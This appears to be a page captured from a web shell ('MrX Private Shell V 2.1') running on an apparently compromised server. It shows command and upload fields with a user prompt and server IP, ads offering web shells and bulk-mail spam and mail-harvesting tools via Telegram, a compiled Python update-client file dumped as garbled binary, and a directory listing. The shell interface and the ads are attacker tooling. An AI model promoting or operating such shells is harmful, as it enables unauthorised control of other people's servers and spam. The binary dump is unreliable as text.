__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.217.152: ~ $
3

m��i�)�@sDddlZddlZddlZddlZddlZddlZddlmZyddlm	Z	Wne
k
rdeZ	YnXddlm
Z
ddlmZddlmZddlmZddlmZdd	lmZdd
lmZdadZdd
�Zdd�Zdd�Zdd�Zdd�Zdd�Zd)dd�Zd*dd�Zd+dd�ZGdd �d e�Z d!d"�Z!d#d$�Z"d%d&�Z#d'd(�Z$dS),�N)�	rpcServer)�DictType)�rpclib)�config)�	rhnserver)�
up2dateErrors)�
up2dateLog)�up2dateUtils)�
statisticsz /var/spool/up2date/loginAuth.pklcCs@tj�}|d}tj|tj�s"dSt|d�}|j�}|j�|S)N�systemIdPath�r)r�initUp2dateConfig�os�access�R_OK�open�read�close)�cfg�path�f�ret�r�!/usr/lib/python3.6/up2dateAuth.py�getSystemIds
rcCs�tj�}t�}d}|dkr|SyDtjj|�dd}|jdd�}|dkrN|}n|jd||f�|Stk
r�|jd�|j	t
j��YnX|S)	z�
    Extract the preferred_interface parameter from system_id XML
    Returns 'IPv4' or 'IPv6' if specified, otherwise 'IPv4' as default
    �IPv4Nr�preferred_interface�IPv6zGInvalid preferred_interface value '%s' in system_id, defaulting to '%s'zGFailed to parse system_id XML, preferred_interface defaulting to 'IPv4')rr)r�initLogrr�	xmlrpclib�loads�get�log_me�	Exception�
log_exception�sys�exc_info)�log�systemIdrZparamsZ
cfg_interfacerrr�getPreferredInterface(s$
r)c	CsBtjjd�rdStj�}ytjjt��ddd}Wn
dSt	j
�}|doZ||k�r>tj�}|j
jt�|�}|d}|d|jd��}tj|tj�s�ytj|�Wn
dStj|tj�s�dStj|tj��r�|d}ytj||�Wn
dSt|d�}|j|�|j�ytj|td	d
��WnYnXdS)NZLEAPP_IPU_IN_PROGRESSrZ
os_releaseZchannelOverrider�/z.save�w�0600�)r�environr!rr
rrr rr	Z
getVersionrZRegistrationRhnServerZregistrationZupgrade_version�rfindr�W_OK�mkdir�F_OK�renamer�writer�chmod�int)	r�idVerZ	systemVer�sZnewSystemIdr�dirZsavePathrrrr�maybeUpdateVersionLsB

r:cCs�tj�}|jd�ts$|jd�dStj�td�}tjjt�}tj	|tj
�s�y tj|�tj|t
dd��Wn|jd|�dSttd�}tjtt
d	d��tj||�|j�|d
ttd�}|jd|d
d
|d�dS)z�
    Pickle loginInfo to a file
    Returns:
    True    -- wrote loginInfo to a pickle file
    False   -- did _not_ write loginInfo to a pickle file
    zwriteCachedLogin() invokedz1writeCachedLogin() loginInfo is None, so bailing.F)�time�	loginInfoZ0700r-z'Unable to write pickled loginInfo to %s�wbr,r;zX-RHN-Auth-Expire-OffsetzWrote pickled loginInfo at z with expiration of z	 seconds.T)rr�	log_debugr<r;rr�dirname�pcklAuthFileNamerr0r1r5r6r"r�pickle�dumpr�float)r'�dataZpcklDir�pcklAuth�
expireTimerrr�writeCachedLoginzs.



rGc	CsTtj�}|jd�tjttj�s2|jdt�dSttd�}ytj	|�}Wn*t
tfk
rt|jd�|j�dSX|j�yLt
jjt��ddd}d|d	d
}||kr�|jd||f�dSWnYnX|d}|d	}tj�}|t|d
�}|jd|d|dt|d
��||k�r<|jd||f�dSt|�|jd|�dS)zb
    Read pickle info from a file
    Caches authorization info for connecting to the server.
    zreadCachedLogin invokedz'Unable to read pickled loginInfo at: %sF�rbzSUnexpected EOF. Probably an empty file,                        regenerate auth filerZ	system_idzID-%sr<zX-RHN-Server-Idz#system id version changed: %s vs %sr;zX-RHN-Auth-Expire-Offsetz(Checking pickled loginInfo, currentTime=z
, createTime=z, expire-offset=z9Pickled loginInfo has expired, created = %s, expire = %s.z<readCachedLogin(): using pickled loginInfo set to expire at T)rrr>rrr@rrrA�load�EOFError�
ValueErrorrrrr rr;rC�_updateLoginInfo)	r'rErDr7ZcidVerZcreatedTime�liZcurrentTimerFrrr�readCachedLogin�sH


rNcCs2t|�tkr*tt�tkr$tj|�q.|andadS)z,
    Update the global var, "loginInfo"
    N)�typerr<�update)rMrrrrL�s
rLFcCs�tj�}|jd|�|r,tr,t�r,tStj|d�}|dkrFt�}|sNdSt�|j	d�|j
j|tj
�t|�tj��}t|�t�tr�|j	d�|jdt�tS)Nzlogin(forceUpdate=%s) invoked)�timeoutzlogging into up2date serverz?successfully retrieved authentication token from up2date serverz
logininfo:)rrr>r<rNrZ	RhnServerrr:r"Zup2date�login�socketZgetfqdn�_get_panel_namer
Zcount_server_usersrLrG)r(�forceUpdaterQr'ZserverrMrrrrR�s*


rRcCs0tj�}|jd�td|d�ts,tjd��tS)NzupdateLoginInfo() login infoT)rUrQzUnable to authenticate)rrr"rRr<rZAuthenticationError)rQr'rrr�updateLoginInfo�s

rVcCs8ytaWntk
r daYnXtr*tSt|d�tS)N)rQ)r<�	NameErrorrR)rQrrr�getLoginInfos

rXc@seZdZdS)�_FailedToGetPanelNameN)�__name__�
__module__�__qualname__rrrrrYsrYcCsLy
t�}Wn8tk
rBt�s8|jtj��|jd�t�}YnX|j�S)Nz?Failed to get panel name via cldetect, using fallback mechanism)	�_get_panel_name_via_cldetectrY�_is_cldeploy_runningr$r%r&r"�_fallback_get_panel_name�lower)r'Z
panel_namerrrrTs

rTcCstd}d}d}tjj|�r8t|��}|j�j�}WdQRX|rpd|}tjj|�rpt|��}d|j�k}WdQRX|S)Nz/var/lock/cldeploy.lckFz/proc/%s/cmdlineZcldeploy)rr�existsrr�strip)Zlock_file_pathZcldeploy_running�pidrZpid_cmdline_pathrrrr^ s

r^cCsrddg\}}}tjj|�s(td|��tj|tjtjdd�}|j�\}}|jdkrjtddj	|�|f��|j
�S)	Nz/usr/bin/cldetectz--detect-cp-nameonlyz7Failed to obtain panel name because '%s' does not existT)�stdout�stderrZuniversal_newlinesrz:Failed to obtain panel name using '%s' command; stderr: %s� )rrrarY�
subprocess�Popen�PIPEZcommunicate�
returncode�joinrb)Zbinary�_�cmdZprocessrdrerrrr]1s
r]cCsdtjjd�rdStjjd�r dStjjd�r0dStjjd�r@dStjjd	�rPd
Stjjd�r`dSd
S)Nz/usr/local/psa/admin/Zpleskz/usr/local/interworx/Z	interworxz#/usr/local/cpanel/whostmgr/docroot/Zcpanelz/usr/local/ispmgr/Zispmgrz/usr/local/directadmin/Zdirectadminz/usr/local/mgr5/sbin/mgrctlZispmgr5�unknown)rr�isdir�isfilerrrrr_Dsr_)NFN)N)N)%rrAr%r;rSrgZup2date_clientr�typesr�ImportError�dictZrhnrrrrrr	r
r<r@rr)r:rGrNrLrRrVrXr#rYrTr^r]r_rrrr�<module>sB

$. ,
!






Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 113 B 0644
__init__.cpython-36.pyc File 113 B 0644
clpwd.cpython-36.opt-1.pyc File 3.9 KB 0644
clpwd.cpython-36.pyc File 3.9 KB 0644
config.cpython-36.opt-1.pyc File 10.96 KB 0644
config.cpython-36.pyc File 10.96 KB 0644
hardware.cpython-36.opt-1.pyc File 3.11 KB 0644
hardware.cpython-36.pyc File 3.11 KB 0644
pkgplatform.cpython-36.opt-1.pyc File 288 B 0644
pkgplatform.cpython-36.pyc File 288 B 0644
rhncli.cpython-36.opt-1.pyc File 5.83 KB 0644
rhncli.cpython-36.pyc File 5.83 KB 0644
rhnreg.cpython-36.opt-1.pyc File 8.56 KB 0644
rhnreg.cpython-36.pyc File 8.65 KB 0644
rhnserver.cpython-36.opt-1.pyc File 4.73 KB 0644
rhnserver.cpython-36.pyc File 4.73 KB 0644
rpcServer.cpython-36.opt-1.pyc File 7.11 KB 0644
rpcServer.cpython-36.pyc File 7.11 KB 0644
statistics.cpython-36.opt-1.pyc File 1.64 KB 0644
statistics.cpython-36.pyc File 1.64 KB 0644
up2dateAuth.cpython-36.opt-1.pyc File 7.76 KB 0644
up2dateAuth.cpython-36.pyc File 7.76 KB 0644
up2dateErrors.cpython-36.opt-1.pyc File 10.25 KB 0644
up2dateErrors.cpython-36.pyc File 10.25 KB 0644
up2dateLog.cpython-36.opt-1.pyc File 2.48 KB 0644
up2dateLog.cpython-36.pyc File 2.48 KB 0644
up2dateUtils.cpython-36.opt-1.pyc File 1.5 KB 0644
up2dateUtils.cpython-36.pyc File 1.5 KB 0644